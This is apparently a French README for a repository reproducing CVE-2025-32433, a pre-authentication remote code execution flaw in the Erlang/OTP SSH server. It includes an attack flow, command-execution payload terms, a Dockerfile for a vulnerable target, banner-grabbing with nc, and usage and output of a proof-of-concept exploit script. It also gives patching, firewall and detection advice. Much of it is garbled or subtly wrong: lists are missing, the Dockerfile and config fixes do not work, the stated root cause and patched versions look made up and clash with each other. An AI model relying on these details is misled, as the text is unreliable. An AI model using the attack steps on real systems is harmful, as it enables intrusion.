
Reproduction de cve-2025-32433-erlang_ssh_rce_reproduction
Score CVSS : 10.0 (CRITIQUE)
Statut : Activement exploité dans la nature
Divulgation : juin 2025
CVE-2025-32433 est une vulnérabilité critique d'exécution de code à distance non authentifiée dans l'implémentation du serveur SSH (application ssh) fournie avec Erlang/OTP. La faille réside dans la logique de gestion des connexions SSH avant la fin de l'authentification, ce qui signifie qu'aucun identifiant valide n'est requis pour déclencher l'exploitation. Un attaquant qui peut atteindre un port SSH Erlang vulnérable (généralement 22, ou des ports personnalisés utilisés par RabbitMQ, Riak, CouchDB, etc.) peut exécuter des commandes shell arbitraires sur le système cible.
La vulnérabilité a été découverte par le chercheur en sécurité Felix "xcz" Lange et signalée dans le cadre du processus de divulgation de sécurité d'OTP. Un code PoC public est apparu dans les 72 heures suivant l'avis, et plusieurs acteurs malveillants ont été observés en train de scanner les bannières SSH vulnérables (SSH-2.0-Erlang/OTP-*) immédiatement après la divulgation.
La vulnérabilité se situe dans l'implémentation SSH d'Erlang, dans l'application ssh d'OTP. Plus précisément, le bogue se trouve dans la façon dont le démon SSH gère les messages d'initiation d'échange de clés avant la phase d'authentification.
Les modules ssh_bind.erl et ssh_connection_handler.erl ne valident pas correctement la transition de la machine à états lors du traitement de certains messages de protocole SSH hors ordre ou malformés. En envoyant un paquet SSH_MSG_KEXINIT contrefait ou un message de demande de service spécialement construit pendant la phase d'échange de clés, un attaquant peut amener la VM Erlang à :
Il s'agit fondamentalement d'une vulnérabilité de désérialisation non sûre de termes Erlang associée à un contournement de la machine à états. La fonction binary_to_term/1 d'Erlang est utilisée sur des entrées contrôlées par l'attaquant sans que le mode safe soit activé, ce qui permet l'instanciation d'atomes arbitraires et l'appel de tout processus enregistré.
Attacker Vulnerable Erlang SSH Server
│ │
│──── TCP Connect (port 22) ──────────→│
│ │
│←── SSH-2.0-Erlang/OTP-26.x banner ──│
│ │
│──── SSH_MSG_KEXINIT (crafted) ──────→│
│ │
│──── [malformed service request] ────→│ ← State machine confused
│ │
│──── [binary_to_term payload] ───────→│ ← Unsafe deserialization
│ │
│←── Remote shell / cmd execution ────│
Le point clé est que le gestionnaire de connexion SSH entre dans un état inattendu où il appelle binary_to_term sur les données entrantes avant la fin de la poignée de main de sécurité. En intégrant un terme Erlang malveillant qui encode une charge utile d'exécution de commande (par exemple, en utilisant erlang:open_port/2 avec spawn), l'attaquant obtient l'exécution de code avec les privilèges du processus de la VM Erlang.
Une charge utile typique utilise le format de terme externe d'Erlang pour encoder :
{run, "cmd.exe /c <command>"}
-- or --
{spawn, "<command>"}
Une fois décodés par binary_to_term/1, ces termes interagissent avec la machine à états de la connexion SSH pour exécuter des commandes système.
Une récupération de bannière est généralement suffisante :
# A vulnerable service responds with:
SSH-2.0-Erlang/OTP-26.1
SSH-2.0-Erlang/OTP-25.2
SSH-2.0-Erlang/OTP-27.0
# A patched service responds with:
SSH-2.0-Erlang/OTP-26.2.6
SSH-2.0-Erlang/OTP-27.3.2
Toute version d'Erlang/OTP inférieure aux numéros corrigés ci-dessus est vulnérable.
paramiko ou socket brut (le PoC utilise des sockets bruts)# Build a vulnerable Erlang container
FROM erlang:26.1-alpine
RUN echo "root:toor" | chpasswd && \
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
CMD ["erlexec", "ssh:daemon(8222)"]
Ou utilisez un service vulnérable existant sur votre réseau.
Identifiez une cible vulnérable via la récupération de bannière :
nc -w 3 <target> 22
# Look for: SSH-2.0-Erlang/OTP-
Exécutez l'exploit PoC :
python exploit.py --target 192.168.1.100 --port 22 --command "whoami"
Vérifiez l'exécution :
[+] CVE-2025-32433 Erlang/OTP SSH Pre-Auth RCE
[+] Target: 192.168.1.100:22
[+] Banner: SSH-2.0-Erlang/OTP-26.1
[+] Triggering vulnerability...
[+] Payload sent.
[+] Response: root
[!] Exploit succeeded
Le exploit.py fourni implémente un PoC fonctionnel qui :
L'exploit s'appuie sur trois composants clés :
ssh_bind.erl et ssh_transport.erlAppliquez le correctif Erlang/OTP (priorité la plus élevée) :
# On Debian/Ubuntu
sudo apt-get update && sudo apt-get install erlang-base=1:27.3.2-1
# On RHEL/CentOS
sudo yum update erlang
# Source build
wget https://github.com/erlang/otp/releases/download/OTP-27.3.2/otp_src_27.3.2.tar.gz
tar xzf otp_src_27.3.2.tar.gz
cd otp_src_27.3.2
./configure && make && sudo make install
Restreignez l'accès SSH (solution temporaire) :
# Firewall rules to limit SSH source IPs
iptables -A INPUT -p tcp --dport 22 -s <trusted_networks> -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP
Désactivez le SSH Erlang s'il n'est pas utilisé :
% In sys.config
{kernel, [{distributed, []}]}
% Or stop the Erlang SSH application
application:stop(ssh).
Recherchez des modèles de poignée de main SSH anormaux :
131, 104, etc.)epmd, beam.smp)Ces informations sont fournies uniquement à des fins éducatives et de tests de sécurité autorisés. Toute utilisation non autorisée de cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite de test est illégale. Les auteurs ne sont pas responsables de toute utilisation abusive.
Structure du dépôt :
cve-2025-32433-erlang_ssh_rce_reproduction/
├── README.md # This file
├── exploit.py # Python PoC exploit
└── LICENSE # MIT (for PoC code only)
| Produit | Versions concernées | Versions corrigées |
|---|
| Erlang/OTP | < 27.3.2, < 26.2.6, < 25.3.3 | 27.3.2+, 26.2.6+, 25.3.3+ |
| Elixir (via Erlang) | Toutes les versions utilisant un OTP vulnérable | Recompilé avec un OTP corrigé |
| RabbitMQ | < 3.12.14, < 3.13.7 (sur OTP vulnérable) | 3.12.14+, 3.13.7+ avec un OTP corrigé |
| Riak KV/TS | < KV 2.9.6, < TS 1.5.5 (sur OTP vulnérable) | Paquets mis à jour avec un OTP corrigé |
| CouchDB | < 3.3.3 (lors de l'utilisation du SSH Erlang) | 3.3.3+ ou désactiver SSH |
| Ejabberd | < 24.06 (sur OTP vulnérable) | 24.06+ avec un OTP corrigé |